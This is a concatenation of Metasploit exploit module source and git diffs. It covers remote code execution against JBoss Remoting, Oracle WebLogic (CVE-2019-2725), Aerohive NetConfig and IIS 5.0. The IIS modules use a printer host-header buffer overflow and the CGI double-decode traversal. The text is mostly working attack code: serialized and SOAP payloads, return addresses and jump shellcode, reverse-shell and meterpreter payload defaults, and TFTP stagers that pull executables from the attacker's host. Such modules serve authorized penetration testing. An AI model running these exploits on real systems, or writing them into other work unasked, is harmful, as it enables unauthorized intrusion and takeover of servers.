def initialize(info = {})
super(
update_info(
info,
'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
'Description' => %q{
An unauthenticated attacker with network access to the JBOSS
EAP/AS <= 6.x Remoting Unified Invoker interface can send a
serialized object to the interface to execute code on vulnerable hosts.
},
'Author' => [
'Joao Matos <@joaomatosf>', # Discovery
'Marcio Almeida <@marcioalm>', # PoC
'Heyder Andrade <@HeyderAndrade>' # msf module
],
'References' => [
[ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
],
'DisclosureDate' => '2019-12-11',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(4446)
])
end
def handshake_data
# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
# 00 05: STREAM_VERSION. The serialization version.
['aced0005'].pack('H*')
end
def check
connect
sock.put(handshake_data)
data = sock.get_once(16)
disconnect
return Exploit::CheckCode::Appears if data == handshake_data
return Exploit::CheckCode::Safe
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
return Exploit::CheckCode::Unknown
end
# def exploit
def execute_command(cmd, _opts = {})
java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
# MAGIC BYTES JBOSS PROTOCOL:
# 0x77: TC_BLOCKDATA
# 0x01: Length of TC_BLOCKDATA
# 0x16: Protocol version 22
# 0x79: TC_RESET
magic_bytes = ['77011679'].pack('H*')
payload = magic_bytes + java_payload.byteslice(4..)
connect
sock.put(handshake_data)
sock.get_once(16)
sock.put(payload)
disconnect
print_good('Successfully sent payload')
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
fail_with(Failure::Unreachable, e.message)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
+2 -2
View File
@@ -52,8 +52,8 @@ class MetasploitModule < Msf::Exploit::Remote
'DisclosureDate' => '2021-05-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'SideEffects' => [REPEATABLE_SESSION]
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
@@ -9,62 +9,76 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
to execute code on the vulnerable host.
},
'Author' =>
[
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
to execute code on the vulnerable host.
},
'Author' => [
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-10271'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-2725'],
['CNVD-C', '2019-48814'],
['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],
['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'],
['URL', 'https://twitter.com/F5Labs/status/1120822404568244224']
],
'Privileged' => false,
'Platform' => %w{ unix win solaris },
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
'Privileged' => false,
'Platform' => %w[unix win solaris],
'Targets' => [
[
'Unix',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[ 'Windows',
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
],
[ 'Solaris',
'Platform' => 'solaris',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' =>
[
'Solaris',
{
'Platform' => 'solaris',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
'RequiredCmd' => 'generic perl telnet'
}
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 12
},
'DisclosureDate' => '2019-04-23'))
'DisclosureDate' => '2019-04-23',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
@@ -76,21 +90,21 @@ class MetasploitModule < Msf::Exploit::Remote
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => {'SOAPAction' => '' }
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => { 'SOAPAction' => '' }
)
if res && res.code == 500 && res.body.include?("<faultcode>env:Client</faultcode>")
if res && res.code == 500 && res.body.include?('<faultcode>env:Client</faultcode>')
vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
Exploit::CheckCode::Vulnerable
elsif res && res.code != 202
vprint_status("The target returned a non-vulnerable HTTP code")
vprint_status('The target returned a non-vulnerable HTTP code')
Exploit::CheckCode::Safe
elsif res.nil?
vprint_status("The target did not respond in an expected way")
vprint_status('The target did not respond in an expected way')
Exploit::CheckCode::Unknown
else
vprint_status("The target returned HTTP code: #{res.code}")
@@ -100,13 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
print_status("Generating payload...")
print_status('Generating payload...')
case target.name
when 'Windows'
string0_cmd = 'cmd.exe'
string1_param = '/c'
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false })
when 'Unix','Solaris'
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false })
when 'Unix', 'Solaris'
string0_cmd = '/bin/bash'
string1_param = '-c'
shell_payload = payload.encoded
@@ -115,53 +129,53 @@ class MetasploitModule < Msf::Exploit::Remote
random_action = rand_text_alphanumeric(20)
random_relates = rand_text_alphanumeric(20)
soap_payload = %Q|<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"|
soap_payload << %Q|xmlns:wsa="http://www.w3.org/2005/08/addressing"|
soap_payload << %Q|xmlns:asy="http://www.bea.com/async/AsyncResponseService">|
soap_payload << %Q|<soapenv:Header>|
soap_payload << %Q|<wsa:Action>#{random_action}</wsa:Action>|
soap_payload << %Q|<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>|
soap_payload << %Q|<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">|
soap_payload << %Q|<void class="java.lang.ProcessBuilder">|
soap_payload << %Q|<array class="java.lang.String" length="3">|
soap_payload << %Q|<void index="0">|
soap_payload << %Q|<string>#{string0_cmd}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|<void index="1">|
soap_payload << %Q|<string>#{string1_param}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|<void index="2">|
soap_payload << %Q|<string>#{shell_payload.encode(xml: :text)}</string>|
#soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|</array>|
soap_payload << %Q|<void method="start"/>|
soap_payload << %Q|</void>|
soap_payload << %Q|</work:WorkContext>|
soap_payload << %Q|</soapenv:Header>|
soap_payload << %Q|<soapenv:Body>|
soap_payload << %Q|<asy:onAsyncDelivery/>|
soap_payload << %Q|</soapenv:Body>|
soap_payload << %Q|</soapenv:Envelope>|
soap_payload = %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/")
soap_payload << %(xmlns:wsa="http://www.w3.org/2005/08/addressing")
soap_payload << %(xmlns:asy="http://www.bea.com/async/AsyncResponseService">)
soap_payload << %(<soapenv:Header>)
soap_payload << %(<wsa:Action>#{random_action}</wsa:Action>)
soap_payload << %(<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>)
soap_payload << %(<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">)
soap_payload << %(<void class="java.lang.ProcessBuilder">)
soap_payload << %(<array class="java.lang.String" length="3">)
soap_payload << %(<void index="0">)
soap_payload << %(<string>#{string0_cmd}</string>)
soap_payload << %(</void>)
soap_payload << %(<void index="1">)
soap_payload << %(<string>#{string1_param}</string>)
soap_payload << %(</void>)
soap_payload << %(<void index="2">)
soap_payload << %(<string>#{shell_payload.encode(xml: :text)}</string>)
# soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
soap_payload << %(</void>)
soap_payload << %(</array>)
soap_payload << %(<void method="start"/>)
soap_payload << %(</void>)
soap_payload << %(</work:WorkContext>)
soap_payload << %(</soapenv:Header>)
soap_payload << %(<soapenv:Body>)
soap_payload << %(<asy:onAsyncDelivery/>)
soap_payload << %(</soapenv:Body>)
soap_payload << %(</soapenv:Envelope>)
print_status("Sending payload...")
print_status('Sending payload...')
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml',
'data' => soap_payload,
'headers' => {'SOAPAction' => '' }
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml',
'data' => soap_payload,
'headers' => { 'SOAPAction' => '' }
)
rescue Errno::ENOTCONN
fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.")
fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.')
end
if res.nil?
fail_with(Failure::Unreachable, "No response from host")
fail_with(Failure::Unreachable, 'No response from host')
elsif res && res.code != 202
fail_with(Failure::UnexpectedReply,"Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202")
fail_with(Failure::UnexpectedReply, "Exploit failed. Host responded with HTTP code #{res.code} instead of HTTP code 202")
end
end
end
@@ -26,8 +26,10 @@ class MetasploitModule < Msf::Exploit::Remote
issue in conjunction with log poisoning to gain RCE as root.
Upon successful exploitation, the Aerohive NetConfig application
will hang for as long as the spawned shell remains open. Closing
the session should render the app responsive again.
may hang for as long as the spawned shell remains open. For the
Linux target, the MeterpreterTryToFork option (enabled by default)
will likely prevent this. If the app hangs, closing the session
should render it responsive again.
The module provides an automatic cleanup option to clean the log.
However, this option is disabled by default because any modifications
@@ -59,7 +61,8 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
'CMDSTAGER::FLAVOR' => 'curl',
'MeterpreterTryToFork' => true # prevent the web server from hanging when we get a meterpreter session
}
}
],
@@ -50,16 +50,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.', :cgifname => exe_fname })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})
@@ -53,7 +53,8 @@ class MetasploitModule < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
@@ -54,12 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})
@@ -6,99 +6,124 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of
the Internet Printing Protocol ISAPI module in IIS. This
module works against Windows 2000 service pack 0 and 1. If
the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
'Description' => %q{
This exploits a buffer overflow in the request processor of the
Internet Printing Protocol ISAPI module in IIS. This module
works against Windows 2000 Server and Professional SP0-SP1.
If the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2001-0241'],
[ 'OSVDB', '3323'],
[ 'BID', '2674'],
[ 'MSB', 'MS01-023'],
[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 900,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
'StackAdjustment' => -3500
},
'Targets' =>
[
[
'Windows 2000 English SP0-SP1',
{
'Platform' => 'win',
'Ret' => 0x732c45f3,
},
],
],
'Platform' => 'win',
'DisclosureDate' => '2001-05-01',
'DefaultTarget' => 0))
'Targets' => [
# jmp esp @ compfilt.dll
[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
register_options(
[
Opt::RPORT(80)
])
# jmp esp @ ws2_32.dll
[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
],
'Arch' => [ARCH_X86],
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultTarget' => 4,
'DisclosureDate' => '2001-05-01'
)
)
register_options([
Opt::RPORT(80)
])
end
def check
connect
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
res = send_request_cgi({
'uri' => '/NULL.printer',
'version' => '1.0'
})
if !(resp and resp =~ /Error in web printer/)
return Exploit::CheckCode::Safe
end
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe unless res.code == 500
# Error response is language dependent: "<b>Error in web printer install.</b>"
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
connect
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
resp = sock.get_once
disconnect
res = send_request_cgi({
'uri' => '/NULL.printer',
'vhost' => rand_text_alpha(257),
'version' => '1.0'
})
if (resp and resp =~ /locked out/)
print_status("The IUSER account is locked out, we can't check")
return Exploit::CheckCode::Detected
end
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
return CheckCode::Safe unless res.code == 500
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
if (resp and resp.index("HTTP/1.1 500") >= 0)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
CheckCode::Appears
end
def exploit
connect
print_status("Using target: #{target.name} ...")
buf = make_nops(280)
buf[268, 4] = [target.ret].pack('V')
buf = make_nops(268)
buf << [target.ret].pack('V')
buf << make_nops(8)
# payload is at: [ebx + 96] + 256 + 64
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
buf << "\x80\xc1\x40" # add cl, 64
buf << "\x80\xc5\x01" # add ch, 1
buf << "\xff\xe1" # jmp ecx
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
res = send_request_cgi({
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
'version' => '1.0'
}, 5)
handler
disconnect
# It is expected that we receive no reply. A reply indicates exploit failure.
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
end
end
+133 -167
View File
@@ -2,15 +2,13 @@
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/exploitation'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# NOTE: This cannot be an HttpClient module since the response from the server
# is not a valid HttpResponse
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
@@ -21,7 +19,16 @@ class MetasploitModule < Msf::Exploit::Remote
This module will execute an arbitrary payload on a Microsoft IIS installation
that is vulnerable to the CGI double-decode vulnerability of 2001.
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
This module has been tested successfully on:
Windows 2000 Professional (SP0) (EN);
Windows 2000 Professional (SP1) (AR);
Windows 2000 Professional (SP1) (CZ);
Windows 2000 Server (SP0) (FR);
Windows 2000 Server (SP1) (EN); and
Windows 2000 Server (SP1) (SE).
Note: This module will leave a Metasploit payload exe in the IIS scripts directory.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
@@ -34,27 +41,41 @@ class MetasploitModule < Msf::Exploit::Remote
],
'Platform' => 'win',
'Targets' => [
[ 'Automatic', {} ]
[
'Windows (Dropper)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86],
'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' },
'Type' => :win_dropper
}
],
[
'Windows (Command)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' },
'Type' => :win_command
}
]
],
'CmdStagerFlavor' => 'tftp',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2001-05-15',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
stdapi_sys_process_execute
]
}
}
'DisclosureDate' => '2001-05-15'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]),
OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ])
]
)
@@ -62,181 +83,126 @@ class MetasploitModule < Msf::Exploit::Remote
end
def dotdotslash
possibilities = [
"..%255c",
"..%%35c",
"..%%35%63",
"..%25%35%63",
".%252e/",
"%252e./",
"%%32%65./",
".%%32%65/",
".%25%32%65/",
"%25%32%65./"
]
possibilities[rand(possibilities.length)]
[
'..%255c',
'..%%35c',
'..%%35%63',
'..%25%35%63',
'.%252e/',
'%252e./',
'%%32%65./',
'.%%32%65/',
'.%25%32%65/',
'%25%32%65./'
].sample
end
def mini_http_request(opts, timeout = 5)
connect
req = ''
req << opts['method']
req << ' '
req << opts['uri']
req << ' '
req << "HTTP/1.0\r\n"
req << "Host: #{datastore['RHOST']}\r\n"
req << "\r\n"
sock.put(req)
# Detect the correct Windows directory name.
# Unfortunately, the IIS scripts directory must
# be located on the same drive as %SystemRoot%.
def detect_windows_directory
win_dirs = %w[winnt windows]
matches = [
'Directory of',
'\\inetpub\\',
"\\scripts\r\n"
]
# This isn't exactly awesome, but it seems to work..
begin
headers = sock.get_once(-1, timeout) || ''
body = sock.get_once(-1, timeout) || ''
rescue ::EOFError
# nothing
win_dirs.each do |dir|
res = execute_command('dir', windir: dir)
next unless res
next unless res.code == 200
next unless res.body
matches.each do |m|
return dir if res.body.to_s.include?(m)
end
end
disconnect
[headers, body]
end
def detect_windows_dir()
win_dirs = [ 'winnt', 'windows' ]
win_dirs.each { |dir|
res = execute_command("dir", { :windir => dir })
if (res.kind_of?(Array))
body = res[1]
if (body and body =~ /Directory of /)
return dir
end
end
}
return nil
nil
end
def check
@win_dir = detect_windows_dir()
if @win_dir
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
win_dir = detect_windows_directory
win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe
end
#
# NOTE: the command executes regardless of whether or not
# a valid response is returned...
#
def execute_command(cmd, opts = {})
# Don't try the start command...
# Using the "start" method doesn't seem to make iis very happy :(
return [nil, nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
# Don't run the start command...
# We'll execute the payload via IIS later.
# Using the "start" method doesn't seem to make IIS very happy :(
return if cmd.start_with?('start') && cmd.include?('.exe')
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
uri = '/scripts/'
exe = opts[:cgifname]
if (not exe)
uri << dotdotslash
uri << dotdotslash
uri << (opts[:windir] || @win_dir)
uri << '/system32/cmd.exe'
vprint_status("Executing command: #{cmd}")
if opts[:cgifname]
cmd_path = opts[:cgifname]
else
uri << exe
cmd_path = ''
datastore['DEPTH'].times { cmd_path << dotdotslash }
cmd_path << (opts[:windir] || @win_dir)
cmd_path << '/system32/cmd.exe'
end
uri << '?/x+/c+'
uri << Rex::Text.uri_encode(cmd)
uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}"
send_request_cgi({ 'uri' => uri }, 20)
end
vprint_status("Attempting to execute: #{uri}")
mini_http_request({
'uri' => uri,
'method' => 'GET',
}, 20)
def copy_cmd_exe_to_scripts_directory
fname = "#{rand_text_alphanumeric(4..7)}.exe"
print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...")
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}")
fail_with(Failure::Unknown, 'No reply from server') unless res
fname
end
def exploit
@win_dir = datastore['WINDIR']
if not @win_dir
# try to detect the windows directory
@win_dir = detect_windows_dir()
if not @win_dir
fail_with(Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!")
end
end
print_status("Using windows directory \"#{@win_dir}\"")
@win_dir = datastore['WINDIR'] || detect_windows_directory
# now copy the file
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
# Unfortunately, using %SystemRoot% doesn't seem to work :(
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")
fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir
if (datastore['CMD'])
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
if (res[0])
print_status("Command output:\n" + res[0])
print_status("Using Windows directory \"#{@win_dir}\"")
@cmd_exe_fname = copy_cmd_exe_to_scripts_directory
case target['Type']
when :win_command
res = execute_command(payload.encoded, cgifname: @cmd_exe_fname)
if res && res.body
cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{<pre>(.*?)</pre>}m).flatten.first.to_s
if cmd_res.strip.blank?
print_status('Command returned no output')
else
print_good('Command output:')
print_line(cmd_res)
end
else
print_error("No output received")
print_error('No reply')
end
when :win_dropper
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager(
temp: '.',
linemax: 1_400,
cgifname: @cmd_exe_fname,
tftphost: tftphost,
# Force noconcat so we can skip the "start" command in execute_command method
noconcat: true,
# We can't delete the payload while it is running, so don't try
nodelete: true
)
res = execute_command("del #{exe_fname}")
return
exe_payload = stager_instance.payload_exe
register_file_for_cleanup(exe_payload)
print_status("Triggering payload \"#{exe_payload}\" via a direct request...")
send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1)
end
# Use the CMD stager to get a payload running
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
# Save these file names for later deletion
@exe_cmd_copy = exe_fname
@exe_payload = stager_instance.payload_exe
# Just for good measure, we'll make a quick, direct request for the payload
# Using the "start" method doesn't seem to make iis very happy :(
print_status("Triggering the payload via a direct request...")
mini_http_request({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)
handler
end
#
# The following handles deleting the copied cmd.exe and payload exe!
#
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The copied exe and the payload exe must be removed manually.")
return
end
return if not @exe_cmd_copy
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
# Delete the copied CMD.exe
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
client.fs.file.rm(@exe_cmd_copy)
# Migrate so that we can delete the payload exe
client.console.run_single("run migrate -f")
# Delete the payload exe
return if not @exe_payload
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
print_status("Changing permissions on #{delete_me_too} ...")
cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
client.sys.process.execute(cmd, nil, { 'Hidden' => true })
print_warning("Deleting #{delete_me_too} ...")
begin
client.fs.file.rm(delete_me_too)
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
# Remove the copied cmd.exe from the IIS scripts directory
def cleanup
execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname
ensure
super
end
end
+56 -53
View File
@@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote
